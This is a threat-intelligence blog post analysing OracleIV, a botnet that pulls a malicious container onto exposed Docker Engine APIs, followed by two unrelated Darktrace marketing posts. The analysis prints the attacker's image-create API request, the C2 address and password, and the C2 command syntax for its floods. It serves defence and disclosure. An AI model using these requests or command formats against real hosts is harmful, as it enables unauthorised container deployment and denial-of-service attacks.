ブログ
/
Cloud
/
November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
13
Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest 

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Image layer RUN command to retrieve malicious payload
Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Image layer RUN command to retrieve xmrig miner
Figure 2: Image layer RUN command to retrieve xmrig miner
Image layer RUN command to retrieve miner configuration file
Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

Embedded Cython functions
Figure 4: Embedded Cython functions

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

  • bot.main
  • bot.init_socket
  • bot.checksum
  • bot.register_ssl
  • bot.register_httpget
  • bot.register_slow
  • bot.register_five
  • bot.register_vse
  • bot.register_udp
  • bot.register_udp_pps
  • bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

<attack type> <target IP/domain> <attack duration> <rate> <target port>

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

  • Performs a UDP flood with 40,000-byte packets
  • These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

  • Seems non-functional, when the command was issued no activity was observed.

SSL:

  • Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.
Tcpdump output for SSL Dos method
Figure 5: Tcpdump output for SSL DoS method

SYN:

  • It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

  • Seems non-functional, when the command was issued no activity was observed.

SLOW:

  • This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

  • This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

  • This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

  • This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

  1. https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

July 1, 2026

5 Ways AI is changing traditional security models according to modern CISOs

Default blog imageDefault blog image

The Reality of Securing AI in Motion

Traditional security tools were built for environments defined by fixed rules and predictable workflows. But AI behavior is non-deterministic. The same prompt can produce different outcomes, and risk often emerges gradually as AI behavior adapts, and permissions drift over time. This creates a constantly shifting environment where security teams are working to define control in a system that resists stability. “In AI security, yesterday's priorities can become tomorrow's blind spots. The landscape shifts that fast,” warned the SVP and Head of Technology and Cybersecurity of a real estate investment trust. Conventional approaches, which rely on establishing and maintaining a steady baseline, struggle to keep up with that level of change.

At the same time, AI adoption is accelerating across organizations, often faster than security teams can implement the controls needed to manage it. “The car is being built while it’s already on the road,” explained the CISO of a global private fund administrator. “The threats we're securing against today won't be the threats we're facing tomorrow. What kept us up three months ago looks nothing like what we're dealing with today.”

As businesses move quickly to unlock value from AI, security teams are left closing gaps in real time, while also facing adversaries who are using AI to make their attacks more scalable, adaptive, and difficult to detect. In this recent roundtable discussion of CISOs and security leaders, five themes emerged around AI cyber risk.  

1. AI agents with human access but no human judgment

In Darktrace’s 2026 State of AI Cybersecurity report, 96% of the surveyed security professionals agree that AI significantly improves the speed and efficiency with which they work. Yet, 92% admitted that they’re concerned with the security implications of the use of AI agents across their workforce.

AI agents now operate with human-level permissions across systems, acting at machine speed, orchestrating actions across platforms, and making decisions without the judgment or caution a person would apply. Unlike human users, they cannot be expected to pause and question whether a given action is appropriate.

Their identities are also difficult to inventory, govern, and audit. As agents become easier to deploy than legacy IT systems ever were, organizations are quickly losing track of what is running, what it has access to, and what it is doing. This creates a growing class of highly privileged, autonomous actors operating without the visibility or oversight that traditional identity and access controls were designed to provide.“While AI adoption is critical to running a modern business, AI alone can’t solve all our cybersecurity challenges,” said a global financial sector CISO. “We still need think critically and use human judgement. Those are two things AI can’t do.”

This lack of human judgment becomes especially risky as new architectures, such as Model Context Protocol (MCP), can expand how agents connect to data, tools, and external systems. By design, MCP enables agents to dynamically discover and interact with new resources, increasing flexibility but also introducing new pathways for unintended access, data exposure, or abuse if not properly governed.

The CISO of a fund administrator highlighted one emerging vector as an example: rogue MCP servers. “Our developers want to move quickly and bring value to the business, but technologies like these can unintentionally expose sensitive data in ways that would never have happened before.”

2. Increased digital complexity and expanded attack surface

AI activity rarely stays contained. A single prompt can trigger a chain of actions across networks, email, cloud infrastructure, SaaS platforms, endpoints, identity systems, and development environments, spanning systems that were never designed to be secured as a single, connected flow. This expands both the scale and complexity of what security teams need to monitor and defend.

Yet no single control has visibility across that entire chain. “You can’t defend effectively what you can’t see,” cautioned the private fund administrator CISO. As AI-driven activity moves fluidly across environments, gaps in coverage become inevitable, creating blind spots that attackers can exploit.

Threat actors are already capitalizing on this lack of visibility. “Threat actors have advanced their use of generative AI to launch more convincing phishing campaigns, automate social engineering, and scale attacks with greater precision down to the individual level,” said the SVP of Technology and Cybersecurity for the real estate investment trust. What was once manual and targeted can now be automated and personalized at scale, making attacks harder to detect and easier to execute.

At the same time, the pace of exploitation is accelerating. As a global CISO operating across 40+ countries described it: “Zero-day vulnerabilities are no longer zero day; it’s minus one day. By the time you get to it and address it, it’s already a problem.” By the time risk is identified, it has often already been realized.

The result is a rapidly expanding and increasingly interconnected attack surface that challenges security teams to maintain visibility, context, and control across AI-driven activity.

3. Shadow AI is already everywhere

76% of organizations now cite shadow AI as a problem, one that is spreading through organizations in ways that are hard to track and even harder to control.

Employees are experimenting with publicly available Gen AI tools. Teams are spinning up low-code automations on their own. SaaS providers are quietly embedding AI into existing products. Developers are plugging AI services directly into workflows, often without pausing to consider what that exposure means.

The result is a lack of visibility into:

  • What AI tools are being used
  • What data those tools can access
  • Where prompts and outputs are going
  • Which AI agents are interacting with enterprise systems

The SVP of Cybersecurity at a real estate investment trust described the shift: “Before, I was worried about someone sending data erroneously to their personal email. Now we have all these agents online that people are utilizing, and we’re looking at those vectors as well.” For security teams, this means operating without a complete view of how AI is being used, what it can access, and where risk may already be emerging.

4. Built-in guardrails are not enough

Organizations often assume that native AI guardrails or provider-level controls are sufficient to manage AI risk. But securing AI requires ongoing visibility, oversight, and governance, not just controls configured at deployment. "It’s a misconception that adopting AI is going to solve all your problems,” warns a global financial services CISO.

Security leaders are increasingly recognizing the limitations of these controls as:

  • Fragmented and difficult to enforce consistently across multiple AI systems, workflows, and environments
  • Ambiguous in terms of accountability due to shared responsibility for AI governance between IT, security, developers, business teams, and third-party providers
  • Limited in end-to-end oversight, leaving gaps that stretch from the initial prompt all the way through to the downstream impact of an agent's actions

Securing AI demands more than simple prompt filtering or static policy enforcement. It requires understanding intent, behavior, and context across both human and AI activity.

The next phase of cybersecurity: securing AI

To safely and responsibly adopt AI at scale, organizations need a new operational model for cybersecurity that’s capable of:

• Understanding AI behavior

• Identifying risk in real time

• Maintaining governance without slowing innovation

The CSO of a $10 billion municipal utility organization described the challenge with precision: “We have to move at the speed of innovation and risk, because both are accelerating faster than ever.”

Embrace AI with confidence with Darktrace / SECURE AI

Darktrace has introduced Darktrace / SECURE AI™, a new product within the Darktrace ActiveAI Security Platform™  ,designed to provide enterprise-wide security for AI by applying industry leading behavioral analysis to how prompts, agents, and AI systems are used.

Darktrace / SECURE AITM delivers real-time visibility and control across Enterprise and SaaS GenAI prompts, AI agent identities, development and production environments, and Shadow AI - detecting even subtle misuse, misconfiguration, and drift that traditional, rule-based controls simply do not understand. By interpreting context and intent across humans and machines, Darktrace enables organizations to adopt AI at scale without introducing unmanaged risk

What makes this possible is Darktrace’s decade-long maturity and expertise in behavioral understanding and AI-native cybersecurity. Achieved with Self-Learning AI that has been proven across more than 10,000 organizations, Darktrace understands what “normal” looks like for a business, across its users, systems, and now AI, so that meaningful deviations can be detected and acted on before they become incidents.

With one CISO describing Darktrace’s Self-Learning AI as “a leap forward compared to other tools” and another as a “force multiplier,” the technology can interpret ambiguous interactions, understand how access accumulates over time, and recognize when behavior, human or machine, begins to drift.

“Strategically, we’re looking to gain more visibility into how AI is operating across the environment and achieve greater control over what AI should be allowed to access and do,” shared the CISO at a private fund administrator.  

“What I’ve seen from Darktrace / SECURE AI is extremely promising. I have tremendous confidence in Darktrace’s vision for where this is headed and its ability to execute on this new solution.”

Continue reading
About the author
The Darktrace Community

Blog

/

Email

/

June 29, 2026

How Darktrace Transformed Cybersecurity at Our Health Center: A CIO’s Perspective

Default blog imageDefault blog image

How Darktrace Transformed Cybersecurity at Our Health Center: A CIO’s Perspective

In my role as CIO, I bring years of experience leading IT for healthcare organizations. I’ve seen firsthand the unique cybersecurity challenges that nonprofit health centers face: limited budgets, small IT teams, and the constant pressure to prioritize patient care over technology investments. Yet, the threat landscape for health is relentless, and the stakes for protecting patient data and ensuring operational continuity have never been higher. It’s a balancing act.

The search for a better solution

Like many nonprofits, organizations I work at start with Microsoft’s security stack. The discounted pricing for nonprofits makes it an obvious choice, and Microsoft Defender provided a solid foundation for endpoint and email security. However, I quickly realized that relying on a single vendor, even one as robust as Microsoft, left gaps in our defenses. Cybersecurity is never one-size-fits-all, which is why my preference was to layer an additional solution on top of our native security to improve our security posture.

Teams needed a solution that could layer seamlessly on top of Microsoft, without adding complexity or draining limited resources. That’s when I found Darktrace. I had heard of their reputation after seeing how other organizations used Darktrace to secure their infrastructure and was impressed by their AI-native, agentless approach and agreed to a proof of value (POV).

Our goal was to elavate Microsoft with an additional layer of intelligence- one that could seamlessly integrate, operate autonomously, and support a small team without increasing overhead. We turned to Darktrace because its AI-native, agentless approach offered a fundamentally different way to detect and respond to threats, learning our environment in real time and filling gaps that traditional tools can miss. With a quick POV, we were able to validate how effectively Darktrace works alongside Microsoft to deliver a more complete and resilient security architecture.

Why Darktrace stood out

From the start, Darktrace differentiated itself in several critical ways:

  • Deep visibility: Unlike other solutions that rely simply on host-based monitoring with endpoint agents, Darktrace operates passively at the network layer and integrates via APIs for email and identity security. This gave full visibility into network traffic that we previously didn’t have, going beyond our existing endpoint-based tools without adding additional maintenance overhead for our small IT team.
  • AI-native from the ground up: Darktrace wasn’t just layering AI on top of an existing product; it was built with AI at its core. Their autonomous detection and response to threats immediately reduced the need for constant human supervision. In a world where cyber-attacks are increasingly sophisticated and subtle, having an AI that learns our environment and adapts in real time is invaluable.
  • Comprehensive coverage: We started with a POV focused on email security, but quickly expanded to full deployment across our entire infrastructure. Darktrace’s products now protect our email, network, and identity layers, providing visibility and defense against lateral movement and abnormal behavior that traditional tools often miss.

Integration and workflow: Smooth and simple

One of the most impressive aspects of Darktrace is how easy it was to integrate into an existing environment. For network security, it was as simple as plugging an appliance into our top-of-rack switch – no downtime, no complex configuration. For email and identity, API integrations meant we could be up and running in hours, not weeks.

This simplicity extended to day-to-day operations. Our IT team received regular security reports, and any time we had questions or needed to adjust policies, Darktrace’s support team was there with white-glove service. Their responsiveness- even in the middle of the night- gave us confidence that we had true partners, not just a vendor.

Real-world impact: Threats stopped, time saved

The results spoke for themselves. During the time with Darktrace, I did not experience any security incidents. The team slept better at night knowing that Darktrace was monitoring for anomalies and proactively blocking suspicious activity, alerting us even before we noticed anything was wrong.

A memorable example was during an Electronic Health Record (EHR) upgrade, when my team forgot to adjust the policy in advance. Darktrace’s autonomous response was so effective that it blocked our upgrade activities- proof that nothing, not even internal changes, could slip by unnoticed. This level of vigilance meant that ransomware, data exfiltration attempts, or insider threats would be detected and contained before causing harm.

While I can’t share specific ROI numbers, the value was clear: we’ve avoided costly breaches, reduced the time spent investigating alerts, and eliminated the performance drag of agent-based tools. With Darktrace layered on top of Microsoft, I’ve hit the right balance of maximum protection with minimal spending. The cost of Darktrace / EMAIL was competitive, especially when factoring in the included Managed Detection and Response (MDR) service, which provides expert human oversight on top of the AI.

Key differentiators over the competition

  • Extending visibility beyond the endpoint: Traditional host-based monitoring solutions, such as EDR, play a critical role in securing individual devices. By adding a network detection and response (NDR) layer, we gained visibility into activity across our wider digital environment, surfacing threats that move laterally, operate between devices, or bypass endpoint controls. Darktrace also stood out for its ability to learn our normal patterns of behavior and identify subtle deviations in real time, not just known indicators of compromise. Because this is delivered through passive, non-disruptive monitoring, we were able to strengthen our defenses without adding complexity or impacting performance.
  • Layered security without complexity: Darktrace elevated our Microsoft foundation without creating conflicts or requiring us to disable existing protections. This layered approach maximized our security posture without adding operational burden.
  • Expert partnership: Beyond technology, Darktrace’s team acted as true partners, guiding us through deployment, providing ongoing support, and helping us interpret findings. This partnership was as valuable as the technology itself.

Advice for other nonprofits

If you’re an IT leader in a nonprofit, my advice is simple: look for solutions that are easy to deploy, intelligent in their response, and cost-effective. Don’t settle for more endpoint based tools that overlap with what you already have. Seek out a layered approach that covers your blind spots – especially at the network and email layers- at a price point that suits your organization.

Most importantly, don’t be afraid to evaluate new solutions. Even if you’re inundated with vendor pitches, you owe it to your organization to explore options that could save you time, money, and sleepless nights.

For organizations I work at, combining Microsoft’s security stack with Darktrace’s AI-native, platform struck the right balance between protection and practicality. We gained enterprise-grade security without sacrificing performance or stretching our budget. In the end, that meant more resources for what matters most: delivering care to our patients. If you’re facing similar challenges, I encourage you to consider how Darktrace could transform your security posture, and give your team the peace of mind they deserve.

For the organization I work in, combining Microsoft with Darktrace delivered a clear step-change in our security posture. Microsoft provided the foundation, while Darktrace’s behavioral intelligence added visibility into the unknown, surfacing emerging threats based on deviations in real-time activity, not just known indicators.

The result was enterprise-grade protection without added overhead, allowing us to stay focused on patient outcomes, not security operations. For organizations facing similar pressures, this layered approach offers a smarter, more efficient path to securing modern environments.

Continue reading
About the author
Mice Chen
Chief Information Security Officer
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ